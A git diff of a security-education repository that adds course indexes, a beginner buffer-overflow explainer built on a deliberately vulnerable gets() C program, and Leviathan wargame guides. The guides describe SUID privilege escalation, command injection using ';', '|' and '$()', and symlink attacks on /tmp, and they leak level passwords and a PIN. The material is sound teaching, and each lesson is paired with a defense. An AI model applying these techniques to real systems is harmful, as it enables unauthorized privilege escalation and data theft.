Bandit01 / 08
+ Bandit01 / 09
The starter wargame for Linux terminal skills — SSH, reading files, permissions and basic tools. You can begin from scratch.
1/10
Difficulty
Learn Linux and security by watching the te
- Leviathan02 / 08
+ Leviathan02 / 09
Binary analysis and simple exploit techniques. You inspect binary behaviour with ltrace/strace. Bandit recommended first.
3/10Difficulty
@@ -132,7 +132,7 @@ Learn Linux and security by watching the te
- Krypton03 / 08
+ Krypton03 / 09
Cryptography fundamentals — from classic ciphers to modern approaches. You crack encrypted messages.
3/10Difficulty
@@ -148,7 +148,7 @@ Learn Linux and security by watching the te
- Natas04 / 08
+ Natas04 / 09
Web security — HTTP, source-code analysis, SQL injection, XSS and more. Played in the browser.
4/10Difficulty
@@ -164,7 +164,7 @@ Learn Linux and security by watching the te
- Narnia05 / 08
+ Narnia05 / 09
Binary exploitation — buffer overflow, format string and basic exploit development. Requires reading assembly.
6/10Difficulty
@@ -180,7 +180,7 @@ Learn Linux and security by watching the te
- Behemoth06 / 08
+ Behemoth06 / 09
Intermediate binary exploitation. More complex scenarios than Narnia, ASLR and various protections.
7/10Difficulty
@@ -196,7 +196,7 @@ Learn Linux and security by watching the te
- Utumno07 / 08
+ Utumno07 / 09
Advanced binary exploitation. Minimum hints, maximum difficulty — for experienced exploit developers only.
9/10Difficulty
@@ -212,7 +212,7 @@ Learn Linux and security by watching the te
- Maze08 / 08
+ Maze08 / 09
Mixed binary exploitation & RE — a different vulnerability class each level: TOCTOU, library hijack, self-modifying code, FSOP, ELF parser, format string. A capstone after Behemoth + Utumno.
5/10Difficulty
@@ -226,6 +226,22 @@ Learn Linux and security by watching the te
+
+
+ Vortex09 / 09
+ A broad lab that begins with network/socket programming and walks the entire classic binary-exploitation curriculum — endianness, overflow, format string, heap, ret2libc/ROP, then cryptanalysis + RE/keygen. Source isn't given at most levels.
+
+ 6/10Difficulty
+ 27Levels
+
+
+ endiannessoverflowformat stringheap/ROPcrypto/RE
+
+ vortex.labs...:2228
+ writeups →
+
+
+
@@ -246,9 +262,17 @@ Learn Linux and security by watching the te
▸linux_commands/file system · text processing · networking · permissions · processes · git
7 topics
+
+ ▸switches_to_computer/ 🚧switch → NAND → gates → adder; build the processor from its parts
+ 8 modules · in progress
+
+
+ ▸x86_assembly/assembly from scratch · machine model · arithmetic · flow · stack · functions · syscalls · C bridge
+ 25 modules
+
▸binary_exploitation/x86 assembly → format string → ROP → GOT/PLT → protections
- 22 modules
+ 23 modules
▸web_security/HTTP · source & devtools · cookies · injection · deserialization
@@ -260,7 +284,7 @@ Learn Linux and security by watching the te
▸leviathan_commands/binary analysis · gdb · ltrace/strace · symlink · brute force
- 6 topics
+ 8 topics
diff --git a/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md b/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
index 944b101..b2aa504 100644
--- a/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
+++ b/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
@@ -22,6 +22,8 @@
| File | Commands / Concepts |
|---|---|
+| [before_you_start.md](./leviathan_komutlari/before_you_start.md) | Before starting Leviathan: SSH connection, how the game works, prerequisites, the recon reflex |
+| [what_leviathan_teaches.md](./leviathan_komutlari/what_leviathan_teaches.md) | What Leviathan teaches: info disclosure, command injection, symlink/TOCTOU, encoding≠security, level→concept map |
| [file_permissions_suid.md](./leviathan_komutlari/file_permissions_suid.md) | `chmod` `find -perm` `whoami` `SUID` privilege escalation |
| [binary_analysis.md](./leviathan_komutlari/binary_analysis.md) | `file` `strings` `xxd` `od` binary→ASCII |
| [ltrace_strace.md](./leviathan_komutlari/ltrace_strace.md) | `ltrace` `strace` `strcmp` `fopen` `access` `system` |
@@ -70,12 +72,65 @@
---
+## 🔌 From Switches to a Computer (NAND to CPU)
+
+> 🚧 **This course is still being written** — it grew out of the NandGame journey; right now it's written from switch/relay up to the **Full Adder** (00–06). The rest (multi-bit adder, ALU, memory, clock, control unit) will be added as the journey continues.
+>
+> 🧭 **New to this?** → [00_buradan_basla.md](./salterden_bilgisayara/00_buradan_basla.md) — for people who want to learn the processor not by asking "what is it?" but by **building it from its parts**. It's the sibling and the floor beneath the x86 course: there you learn to give the worker orders, here you build the worker from transistors.
+
+| File | Topics |
+|---|---|
+| [00_buradan_basla.md](./salterden_bilgisayara/00_buradan_basla.md) | Course map; the journey from switches to a CPU |
+| [01_akim_salter_role.md](./salterden_bilgisayara/01_akim_salter_role.md) | Current, switch, relay — the first "logic" |
+| [02_nanddan_kapilar.md](./salterden_bilgisayara/02_nanddan_kapilar.md) | NAND is universal: deriving NOT/AND/OR/XOR |
+| [03_xor_iki_fedai.md](./salterden_bilgisayara/03_xor_iki_fedai.md) | Building XOR — "the two workhorses" (OR + NAND + AND) |
+| [03.5_soyutlama_merdiveni.md](./salterden_bilgisayara/03.5_soyutlama_merdiveni.md) | A gate = a closed box; climbing one floor up |
+| [04_teller_sayi_olunca.md](./salterden_bilgisayara/04_teller_sayi_olunca.md) | Assigning value to wires; the token logic |
+| [05_half_adder.md](./salterden_bilgisayara/05_half_adder.md) | XOR+AND = the seed of addition (sum + carry) |
+| [06_full_adder.md](./salterden_bilgisayara/06_full_adder.md) | a+b+carry-in; two half adders = the skeleton of an ALU |
+
+---
+## ⚙️ x86 Assembly (from scratch)
+
+> ✅ **This course is complete (00–20).** From the machine model up through arithmetic · control flow (jmp/loops) · the stack · functions · system calls · the C bridge; **every program in it was verified by running it on a real machine.**
+>
+> 🧭 **New to this?** → [00_buradan_basla.md](./x86_assembly/00_buradan_basla.md) — for people who want to learn assembly truly from scratch, *by writing it*. It's the deep groundwork for Binary Exploitation ("first learn to give the worker orders, then learn to bend the order").
+
+| File | Topics |
+|---|---|
+| [00_buradan_basla.md](./x86_assembly/00_buradan_basla.md) | Course map, mental model, how to study |
+| [01_bilgisayar_nedir.md](./x86_assembly/01_bilgisayar_nedir.md) | Numbered boxes + a worker; what "running" means |
+| [02_terminal_ile_tanisma.md](./x86_assembly/02_terminal_ile_tanisma.md) | The terminal, typing commands, reading output |
+| [03_sayilar_ikilik_onaltilik.md](./x86_assembly/03_sayilar_ikilik_onaltilik.md) | Binary/hex — counting the way the machine counts |
+| [04_bellek_ve_registerlar.md](./x86_assembly/04_bellek_ve_registerlar.md) | Memory (boxes) + registers (the worker's hands); AL/AH/EAX |
+| [05_kurulum_ve_ilk_program.md](./x86_assembly/05_kurulum_ve_ilk_program.md) | Installing nasm/ld/gdb, the write→assemble→run chain |
+| [06_ilk_gercek_program.md](./x86_assembly/06_ilk_gercek_program.md) | A value into a register with `mov`, exit code, `echo $?` |
+| [07_gdb_tek_adim.md](./x86_assembly/07_gdb_tek_adim.md) | Single-stepping in GDB (`starti` / `si`), watching registers live, `eip` |
+| [08_mov_ve_bellek.md](./x86_assembly/08_mov_ve_bellek.md) | `[...]` memory addressing, `section .data`, load/store, the first pointer follow (`[ebx]`) |
+| [08.5_little_endian.md](./x86_assembly/08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) |
+| [09_aritmetik.md](./x86_assembly/09_aritmetik.md) | `add`/`sub`/`inc`/`dec`; two's complement (negative numbers); the whole load-compute-store dance |
+| [10_bayraklar_ve_cmp.md](./x86_assembly/10_bayraklar_ve_cmp.md) | Flags (ZF/SF), `cmp` and `test`; the raw material of a decision |
+| [11_ziplamalar.md](./x86_assembly/11_ziplamalar.md) | `jmp`/`jz`/`jnz`/`jl`/`jg`; breaking the straight flow, the even-odd program |
+| [12_donguler.md](./x86_assembly/12_donguler.md) | Backward jump + counter = a loop; sum 1..N, multiplication by repeated addition |
+| [13_bit_islemleri.md](./x86_assembly/13_bit_islemleri.md) | `and`/`or`/`xor`/`shl`/`shr`; `xor eax,eax`=zero it; `test`=`and` |
+| [14_stack.md](./x86_assembly/14_stack.md) | `push`/`pop`, `esp`, LIFO; why the stack grows down (the worker's notepad) |
+| [15_call_ve_ret.md](./x86_assembly/15_call_ve_ret.md) | Functions, the return address; `call`=`push`+`jmp`, `ret`=`pop` |
+| [16_calling_convention.md](./x86_assembly/16_calling_convention.md) | cdecl: passing arguments, return value, the `ebp` anchor, prologue/epilogue |
+| [17_sistem_cagrilari.md](./x86_assembly/17_sistem_cagrilari.md) | `int 0x80`, syscall numbers; "Hello World" on screen (the `sys_exit` debt is paid) |
+| [18_ilk_etkilesimli_program.md](./x86_assembly/18_ilk_etkilesimli_program.md) | `sys_read` + `section .bss`; an interactive program that asks your name and greets you |
+| [19_c_ile_assembly_koprusu.md](./x86_assembly/19_c_ile_assembly_koprusu.md) | Seeing familiar patterns in compiled code with `gcc -S` (`x*8`→`shl`) |
+| [20_buradan_nereye.md](./x86_assembly/20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, binary exploitation, further resources |
+
+*(The interludes 01.5 / 04.5 / 05.5 are linked inside the course. The series is complete: 00–20.)*
+
+---
## 💥 Binary Exploitation
> 🧭 **New to this?** Start here → [00_buradan_basla.md](./binary_exploitation/00_buradan_basla.md) — an intro for people who don't know assembly: minimum instruction dictionary, the little-endian trap, an end-to-end first exploit, and the reading order.
| File | Topics |
|---|---|
+| [00a_assembly_bilmeden_giris.md](./binary_exploitation/00a_assembly_bilmeden_giris.md) | Getting started without assembly: minimum instruction dictionary, an end-to-end first exploit |
| [00_x86_assembly_temelleri.md](./binary_exploitation/00_x86_assembly_temelleri.md) | Registers, data types, MOV/LEA/arithmetic, PUSH/POP, CALL/RET, calling convention, prologue/epilogue |
| [00b_gdb_ile_assembly_okumak.md](./binary_exploitation/00b_gdb_ile_assembly_okumak.md) | Assembly→C method, common patterns (memset/memcpy/strlen/switch), GDB command reference |
| [01_bellek_ve_memory_layout.md](./binary_exploitation/01_bellek_ve_memory_layout.md) | Stack layout, variable adjacency, buffer overflow logic, `x/20wx $esp` |
diff --git a/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md b/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md
new file mode 100644
index 0000000..3f4b5b8
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md
@@ -0,0 +1,106 @@
+# 👶 The Logic of Binary Exploitation (Pwn) Without Knowing Assembly
+
+If you have never seen Assembly before, "Binary Exploitation" (or Pwn) can feel very intimidating. Most resources start straight away with registers (EAX, EBP) and hex addresses.
+
+However, **you do not need to know Assembly to grasp the logic**. It is enough to understand, at a basic level, how the C programming language works with memory (RAM).
+
+This guide was prepared so that even someone who knows no Assembly at all can understand the logic of **Buffer Overflow**, the most fundamental vulnerability in Binary Exploitation.
+
+> 🧭 **Note:** This is deliberately the "quick start without asm" path. As you will see below (and as you progress line by line), modern protections and ROP will eventually require assembly — at that point, if you want a solid foundation from scratch → **[x86 Assembly course](../x86_assembly/00_buradan_basla.md)** *(in progress)*.
+
+---
+
+## 📚 An Analogy From Real Life: The Box and the Diary
+
+Imagine there are two boxes standing side by side on your desk.
+1. **Left Box (Name Box):** Just big enough to hold a name card of 5 letters.
+2. **Right Box (Secret Diary):** A very secret diary, with "ONLY THE OWNER MAY READ" written on it.
+
+They ask you to write your name and put it in the Left Box. The box can hold 5 letters, but you try to cram in a card that says "Abdurrahman" (11 letters).
+
+What happens?
+Because the card is too long, it does not fit in the Left Box, it overflows, and the tip of the card **goes into the Right Box (the Secret Diary)**. If you wrote a special keyword on that overflowing part of the card, you have accidentally (or deliberately) unlocked the Secret Diary!
+
+This is exactly what **Buffer Overflow** is. The programmer reserved a spot of 5 letters for you, you send 100 letters into it, and the overflowing letters get written over very critical data in the memory (RAM) that the program had reserved for other purposes.
+
+---
+
+## 💻 Let's See It Through Code (Only C, No Assembly)
+
+Let's look at this simple program written in C:
+
+```c
+#include
+#include
+
+int main() {
+ int sifre_dogru_mu = 0; // Right Box: Initially 0 (False)
+ char isim_kutusu[5]; // Left Box: Only room for 5 characters
+
+ printf("Enter your name: ");
+ gets(isim_kutusu); // GET INPUT FROM THE USER (THE VULNERABILITY IS HERE!)
+
+ if (sifre_dogru_mu != 0) {
+ printf("HACK SUCCESSFUL! You have accessed the secret information.\n");
+ } else {
+ printf("You only entered a name, login failed.\n");
+ }
+
+ return 0;
+}
+```
+
+### Where Is the Vulnerability?
+The `gets()` function is extremely dangerous because it does not ask the user **"How many letters will you enter?"** It just reads everything the user typed and starts writing it into the spot named `isim_kutusu` (a 5-letter spot).
+
+### What Happens in Memory (RAM)?
+Variables sit side by side in memory:
+`[ isim_kutusu (5 byte) ] [ sifre_dogru_mu (4 byte) ]`
+
+**Scenario 1: Normal Use**
+You entered "Ali" as your name.
+Memory looks like this:
+`[ A | l | i | \0 | empty ] [ 0 | 0 | 0 | 0 ]`
+Result: `sifre_dogru_mu` is still 0. Hack failed.
+
+**Scenario 2: Hacker Attack (Buffer Overflow)**
+You entered "AAAAAAAAA" (9 A's) as your name.
+Memory takes 5 letters, and the rest **overflows** and gets written over the variable next to it!
+`[ A | A | A | A | A ] [ A | A | A | A ]`
+
+Now the inside of the `sifre_dogru_mu` variable is no longer 0, but filled with 'A' letters (numbers, in computer terms)! Since the value is now different from 0, the `if (sifre_dogru_mu != 0)` condition is satisfied and:
+👉 **"HACK BASARILI! Gizli bilgilere eristiniz."**
+
+Just like that, without knowing Assembly, simply by knowing that variables sit side by side and that one can overflow and crush the other, we understood our first vulnerability!
+
+---
+
+## 🛠️ Can You Learn Pwn Without Knowing Assembly?
+
+In the beginning, **yes** — you can find vulnerabilities by understanding the high-level logic (the C code). However, to get past modern protections (ASLR, NX, Canary) and to use more advanced techniques like "Return Oriented Programming (ROP)", you need to know how the program runs in machine language (on the CPU).
+
+**Good News:** You do not need to learn Assembly well enough to "write" it. It is enough to know how to "read it and understand what it means" (especially what pointers like EIP/RIP are for).
+
+### Learning Strategy
+1. **Learn C First:** Pointers, arrays, and memory management.
+2. **Use a Decompiler:** Tools like Ghidra turn Assembly code back into C code (or into something very close to it). This way you don't have to read Assembly.
+3. **Use Pwntools:** A library that makes writing exploits with Python very easy. It does the low-level byte calculations for you.
+4. **Learn Assembly Along the Way:** When you come across a `mov` or `cmp` instruction you don't know, just look up what that instruction does at that moment. Don't try to memorize everything up front.
+
+---
+
+## 🔗 Resources for Beginners That Require No / Little Assembly
+
+Here are resources that explain the theory in a fun and practical way, without drowning you in details:
+
+1. **picoCTF (Pwn Category):**
+ - It is the world's best beginner CTF. The first questions in the "Binary Exploitation" category (for example `buffer overflow 0` or `stonks`) come with the source code. They ask you to find and exploit vulnerabilities in the C code.
+2. **LiveOverflow (YouTube):**
+ - The "Binary Exploitation / Memory Corruption" playlist is legendary. It explains topics with really nice animations and drawings. It is perfect for grasping the logic of the work.
+3. **Nightmare (GitHub Book):**
+ - A great resource that works through CTF questions. It explains step by step, starting from the simplest buffer overflow.
+4. **Pwn College:**
+ - A free platform prepared by ASU (Arizona State University). It lets you learn entirely through hands-on practice from the terminal.
+
+---
+**Next Step:** If you understood the logic above, you can continue from the `01_bellek_ve_memory_layout.md` file in this folder.
diff --git a/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md b/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md
new file mode 100644
index 0000000..f2c8cae
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md
@@ -0,0 +1,127 @@
+# Before You Start — Leviathan Prerequisites
+
+> Everything you need to know before sitting down at the Leviathan lab: the logic of the game, how to connect, what fundamentals you need, and what kind of exploration reflex you should build in the very first shell you open.
+
+---
+
+## What is Leviathan?
+
+Leviathan is an **entry-level** wargame on the [OverTheWire](https://overthewire.org/wargames/leviathan/) site. Unlike Narnia/Behemoth, it doesn't teach you to write exploits; it teaches you **basic Linux skills, file permissions, SUID logic, and simple reverse engineering**. There are 8 levels (leviathan0 → leviathan7), and most levels are solved in 5–15 minutes.
+
+There are no hints/theory — each level only gives you a user and a directory; you find the rest by exploring.
+
+---
+
+## How the game works
+
+The common rule across all OverTheWire games is this:
+
+```
+Each level is about capturing the password of the NEXT level.
+```
+
+- You log in as `leviathan0`, and your goal is to find the `leviathan1` password.
+- The password always sits here:
+
+```bash
+/etc/leviathan_pass/leviathan
+```
+
+- Only the `leviathanN` user can read this file. You are `leviathan(N-1)` → you can't `cat` it directly.
+- So, using a **SUID program** in the home directory or a misconfiguration, you escalate to `leviathanN` privileges, then read the password.
+
+---
+
+## How do you connect? (SSH)
+
+```bash
+ssh leviathan0@leviathan.labs.overthewire.org -p 2223
+```
+
+| Part | Value |
+|---|---|
+| User | `leviathan0` (first level) |
+| Server | `leviathan.labs.overthewire.org` |
+| Port | `2223` |
+| Starting password | `leviathan0` |
+
+Once you solve a level and find the next password, you exit (`exit`) and reconnect as the next user up:
+
+```bash
+ssh leviathan1@leviathan.labs.overthewire.org -p 2223 # with the password you found
+```
+
+> **Note:** When you type the password it won't appear on screen (this is normal). When you copy-paste, watch out for leading/trailing whitespace.
+
+---
+
+## What fundamentals do you need?
+
+Knowing the topics below is enough. For each one there is a separate topic writeup in this folder:
+
+| Need | Why it's needed | Topic file |
+|---|---|---|
+| **Navigating the terminal** (`ls -la`, `cd`, `cat`, `pwd`) | Exploring directories, seeing hidden files | [linux_komutlari/dosya_sistemi.md](../linux_komutlari/dosya_sistemi.md) |
+| **Text searching** (`grep`, `strings`) | Finding a leaked password inside a file | [linux_komutlari/metin_isleme.md](../linux_komutlari/metin_isleme.md) |
+| **File permissions & SUID** | The whole logic of the game rests on this | [file_permissions_suid.md](./file_permissions_suid.md) |
+| **Binary recognition** (`file`, `xxd`, binary→ASCII) | Figuring out whether a program is 32/64-bit and decoding its output | [binary_analysis.md](./binary_analysis.md) |
+| **Dynamic analysis** (`ltrace`, `strace`) | Seeing which password the program compares against | [ltrace_strace.md](./ltrace_strace.md) |
+| **Static analysis** (`gdb`, `objdump`) | Reading embedded constants/code | [gdb.md](./gdb.md) |
+| **Symbolic links** (`ln -s`) | Redirecting the file the program reads | [symbolic_links.md](./symbolic_links.md) |
+| **Bash loops & brute force** | Trying short codes/PINs | [brute_force_bash.md](./brute_force_bash.md) |
+
+> All of these tools are **already installed on the server** (`ltrace`, `strace`, `gdb`, `objdump`, `strings`, `file` are present). You don't need to install anything on your own machine; just an SSH client is enough.
+
+---
+
+## The exploration reflex in the first shell you open
+
+Every time you enter a new level, apply these steps without thinking:
+
+```bash
+# 1) Where am I, who am I?
+pwd; id; whoami
+
+# 2) What's IN the home directory? (including hidden files — the most critical command)
+ls -la
+
+# 3) If there's an interesting file/binary, learn its type
+file
+
+# 4) If it's a binary: run it, see what it wants; then trace it with ltrace
+./
+ltrace ./
+
+# 5) If there's a text/backup file, search inside it for a secret
+grep -i -E 'pass|key|secret'
+```
+
+The **hidden files** in `ls -la` (like `.backup`, `.trash`) and the **SUID bit** (`-r-s...`) are almost always the key to the solution.
+
+---
+
+## Safe working habits
+
+- Create temporary files in your own space: open a private directory with `cd /tmp && mktemp -d`.
+- Clean up the symlinks/files you create when you're done (`rm`), so they don't break your next attempt.
+- When you find a password, **note it down somewhere** (but per OTW rules, don't share it publicly).
+
+---
+
+## Summary
+
+| Question | Answer |
+|---|---|
+| What's the goal? | At each level, find the next user's password |
+| Where's the password? | `/etc/leviathan_pass/leviathan` |
+| How do I read it? | Escalate privileges with a SUID binary / misconfiguration |
+| How do I connect? | `ssh leviathanN@leviathan.labs.overthewire.org -p 2223` |
+| What do I do first? | `ls -la` → look for hidden files & SUID, inspect with `file`/`ltrace` |
+
+---
+
+## 🔗 Related Topics
+
+- 👉 **What Leviathan teaches:** [what_leviathan_teaches.md](./what_leviathan_teaches.md)
+- Solutions: [../../overthewire/leviathan/](../../overthewire/leviathan/) (`leviathan N -> M` files)
+- Full topic index: [../KONU_ANLATIMLARI.md](../KONU_ANLATIMLARI.md)
diff --git a/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md b/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md
new file mode 100644
index 0000000..78c4dd2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md
@@ -0,0 +1,132 @@
+# What Does Leviathan Teach Us?
+
+> More than exploit writing, Leviathan teaches the **everyday language of local privilege escalation**: the classic ways of going from a "low-privilege user" to a "privileged user" on a system. Below is each lesson, together with the level where it appears and its real-world counterpart.
+
+---
+
+## The Big Picture
+
+The whole of Leviathan can be summarized in a single sentence:
+
+> **Abusing input/a file/a behavior that a program trusts, through that program's privilege (SUID).**
+
+Every level is a different variation of this idea. What you learn is not commands; it's **how to look at a target** — the reflex of seeing what counts as an "attack surface."
+
+---
+
+## Lesson 1 — Information Disclosure
+**Level:** leviathan0
+
+The password was embedded in plain text inside a backup file (`.backup/bookmarks.html`). Sensitive data had been left forgotten in an accessible file with a "we'll fix it later" note.
+
+- **Attack reflex:** Reveal hidden files with `ls -la`, scan for secrets with `grep -i pass`.
+- **Real world:** API keys that slipped into Git history, passwords in log files, credentials left in comment lines.
+- **Defense:** Don't embed secrets in code/backups; use a secret manager, tighten permissions, clean the history.
+
+🔗 Solution: [leviathan 0 -> 1](../../overthewire/leviathan/leviathan%200%20-%3E%201.md)
+
+---
+
+## Lesson 2 — Finding an Embedded Secret with Dynamic Analysis
+**Level:** leviathan1, leviathan3
+
+The programs asked for a password, but they had hardcoded the password inside the binary (`strcmp(input, "sex")`, `strcmp(input, "snlprintf")`). Tracing the library calls with `ltrace` revealed the password instantly.
+
+- **Attack reflex:** Before diving into reverse engineering, observe with `ltrace`/`strace`. Most "hidden" comparisons show up there.
+- **Real world:** API keys embedded in mobile apps/firmware, license checks, "secret" comparisons.
+- **Defense:** "Security through obscurity" is not security. Do authentication on the server side, with a hash + constant-time comparison.
+
+🔗 Solutions: [leviathan 1 -> 2](../../overthewire/leviathan/leviathan%201%20-%3E%202.md) · [leviathan 3 -> 4](../../overthewire/leviathan/leviathan%203%20-%3E%204.md)
+
+---
+
+## Lesson 3 — Command & Argument Injection (`system()`)
+**Level:** leviathan2
+
+The `printfile` program checked its access with `access()`, then printed the file with `system("/bin/cat " + argv[1])`. Because the shell **splits the filename on whitespace**, it became possible to inject an extra argument; moreover, `access` and `cat` interpreted the same string differently.
+
+- **Attack reflex:** If user input flows into a shell command, try injection with whitespace / `;` / `|` / `$()`.
+- **Real world:** **OS command injection** (CWE-78) on the web — this is the exact same logic as the most common and dangerous form of that class.
+- **Defense:** Instead of `system()`/`popen()`, pass arguments **separately** with `execv()`; never embed user input into a shell as a string.
+
+🔗 Solution: [leviathan 2 -> 3](../../overthewire/leviathan/leviathan%202%20-%3E%203.md)
+
+---
+
+## Lesson 4 — Encoding ≠ Encryption
+**Level:** leviathan4
+
+`.trash/bin` printed the password as binary ASCII, in the form `00110000 01100100 ...`. This is not encryption, just a **representation (encoding)**; converting the bits in groups of 8 to ASCII was enough.
+
+- **Attack reflex:** With "unreadable" output like 0/1, base64, hex, try decoding first — most of it is just encoding.
+- **Real world:** Tokens "hidden" with base64, hex dumps, URL-encoded data.
+- **Defense:** Encoding data does not hide it. If you genuinely need secrecy, you need encryption (and key management).
+
+🔗 Solution: [leviathan 4 -> 5](../../overthewire/leviathan/leviathan%204%20-%3E%205.md)
+
+---
+
+## Lesson 5 — Symbolic Link Attack & Insecure `/tmp`
+**Level:** leviathan5
+
+The `leviathan5` program opened and printed a fixed path (`/tmp/file.log`) with leviathan6's privilege, but **didn't check what the file was**. When we made that path a symlink to the password file, the program read the password for us.
+
+- **Attack reflex:** If a privileged program uses a **predictable** filename in `/tmp`, redirect it to your target with a symlink.
+- **Real world:** **Symlink following / insecure temporary file** (CWE-59) — here there isn't even a check; the symlink is followed directly. (If an `access()` check had come in between, the check↔use race = **TOCTOU**, CWE-367.) Both are the basis of many local privesc CVEs.
+- **Defense:** `O_NOFOLLOW`, per-user secure directories, `mkstemp`, and dropping privilege before the work (`setresuid`).
+
+🔗 Solution: [leviathan 5 -> 6](../../overthewire/leviathan/leviathan%205%20-%3E%206.md)
+
+---
+
+## Lesson 6 — Static Analysis & Weak Secrets
+**Level:** leviathan6
+
+`leviathan6` asked for a 4-digit PIN. There were two ways: either **brute force** 0000–9999, or read the compared constant directly with `objdump` (`mov [ebp-0xc], 0x1bd3` before `cmp [ebp-0xc], eax` = 7123). Static analysis gave the answer in seconds.
+
+- **Attack reflex:** If the search space is small, brute force; if you have the binary, read the constant with `objdump`/`gdb`.
+- **Real world:** Short PINs, predictable tokens, "magic" values embedded in the binary.
+- **Defense:** Don't put secrets in the binary as immediates; rate-limit PINs and validate them on the server.
+
+🔗 Solution: [leviathan 6 -> 7](../../overthewire/leviathan/leviathan%206%20-%3E%207.md)
+
+---
+
+## Level → Concept Map
+
+| Level | Vulnerability class | Key tool |
+|---|---|---|
+| 0 → 1 | Information disclosure | `ls -la`, `grep` |
+| 1 → 2 | Embedded secret + dynamic analysis | `ltrace` |
+| 2 → 3 | Argument/command injection (`system`) | logic + `ltrace` |
+| 3 → 4 | Embedded secret + dynamic analysis | `ltrace` |
+| 4 → 5 | Encoding ≠ encryption | binary→ASCII |
+| 5 → 6 | Symlink following + insecure `/tmp` | `ln -s` |
+| 6 → 7 | Weak secret (brute / static analysis) | `objdump`, `for` loop |
+
+---
+
+## High-Level Takeaways
+
+1. **SUID is powerful but dangerous.** Every program that runs with privilege can be exploited through every input/file/behavior it trusts. Narrow the attack surface, drop privilege early.
+2. **Security ≠ obscurity.** An embedded password, encoded data, a short PIN — none of them is protection.
+3. **Observe first, then solve.** The sequence `ls -la` → `file` → `ltrace`/`objdump` solves most of the levels on its own.
+4. **The same mistakes are everywhere.** The command injection, TOCTOU and info-disclosure lessons here are exact miniatures of the most common security vulnerability classes in the web and in real systems.
+
+---
+
+## What's Next?
+
+Leviathan gave you the fundamentals. The next steps:
+
+- **Behemoth** — buffer overflow and more serious memory errors.
+- **Narnia** — the beginning of exploit development (shellcode, EIP control).
+- If you want to move on to the fundamentals of memory exploitation: [../binary_exploitation/00_x86_assembly_temelleri.md](../binary_exploitation/00_x86_assembly_temelleri.md)
+
+---
+
+## 🔗 Related Topics
+
+- 👈 **Before you start — background knowledge:** [before_you_start.md](./before_you_start.md)
+- Technical references: [file_permissions_suid.md](./file_permissions_suid.md) · [ltrace_strace.md](./ltrace_strace.md) · [symbolic_links.md](./symbolic_links.md) · [gdb.md](./gdb.md) · [binary_analysis.md](./binary_analysis.md) · [brute_force_bash.md](./brute_force_bash.md)
+- Full topic index: [../KONU_ANLATIMLARI.md](../KONU_ANLATIMLARI.md)
diff --git a/docs/eng/konu_anlatimlari/linux_komutlari/git.md b/docs/eng/konu_anlatimlari/linux_komutlari/git.md
index 20aa31e..6d1901a 100644
--- a/docs/eng/konu_anlatimlari/linux_komutlari/git.md
+++ b/docs/eng/konu_anlatimlari/linux_komutlari/git.md
@@ -187,7 +187,7 @@ index ...
+++ b/README.md
@@ -4,3 +4,3 @@
username: natas9
--password: ← OLD (removed)
+-password: ← OLD (removed)
+password: xxxxxxxxxx ← NEW (added)
```
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md
new file mode 100644
index 0000000..c986901
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md
@@ -0,0 +1,197 @@
+# 🧭 From Switches to a Computer — Start Here (Truly From Scratch)
+
+> The phone in your pocket has billions of transistors inside it. That number looks
+> terrifying — until you learn this secret: **they are all repetitions of the same simple part.**
+> This series won't explain the computer to you; it will **make you build it.** We'll start
+> from a single switch that turns on and off, and gate by gate, floor by floor, you will
+> build every part with your own hands, all the way up to a working computer.
+
+> **Who is this series for?** For everyone. You don't need to know electronics, you don't
+> need to have written code, you don't even need to remember high-school physics. The only
+> prerequisite is accepting this sentence: *"electricity flows through a wire, and a button
+> opens or cuts it off."* We'll build the rest together.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Series Is NOT](#what-this-series-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [One Tool: NandGame](#one-tool-nandgame)
+- [What Will You Be Able to Do in the End?](#what-will-you-be-able-to-do-in-the-end)
+- [The Big Picture: Why Do We Start From the Switch?](#the-big-picture-why-do-we-start-from-the-switch)
+- [Roadmap — Lesson by Lesson](#roadmap--lesson-by-lesson)
+- [How Should You Study?](#how-should-you-study)
+- [Sister Series: x86 Assembly](#sister-series-x86-assembly)
+
+---
+
+## What This Series Is NOT
+
+- **It's not an electronics course.** Voltage calculations, resistance, formulas — none of
+ that. All we need is electricity's single habit: it either flows or it doesn't.
+- **It's not a memorization course.** I won't make you memorize any gate's table. You'll get
+ to know each part *the very moment you need it*, recognizing it as "without this, that job
+ can't be done."
+- **It's not a spectator sport.** **You** will build every part. A circuit you read past is
+ forgotten; a circuit you build with your own hands is yours.
+- **It's not fast.** Each lesson sits on top of the previous one. A stone you skip will trip
+ your foot three lessons later.
+
+---
+
+## First, Let's Break the Fear
+
+The answer to "how does a processor work?" is, in most places, either a two-sentence brush-off
+("it's very complex, billions of transistors...") or a university textbook. Both send the same
+message: *this place is not for you.*
+
+Here's a secret: **at the very bottom of the computer there is nothing hard.** At the very
+bottom there are switches that turn on and off — no different from the lamp switch in your
+home. The difficulty isn't in the individual parts, it's in the *number* of parts. And once
+you learn how to build one, the number stops being terrifying: laying the same brick over and
+over is no harder than understanding a single brick.
+
+> 💡 Getting stuck, the "my brain is fried" feeling, looking at the same spot twice — all of
+> it is normal, and everyone passes through that gate. In this series, slowing down isn't a
+> weakness, it's the method.
+
+---
+
+## One Tool: NandGame
+
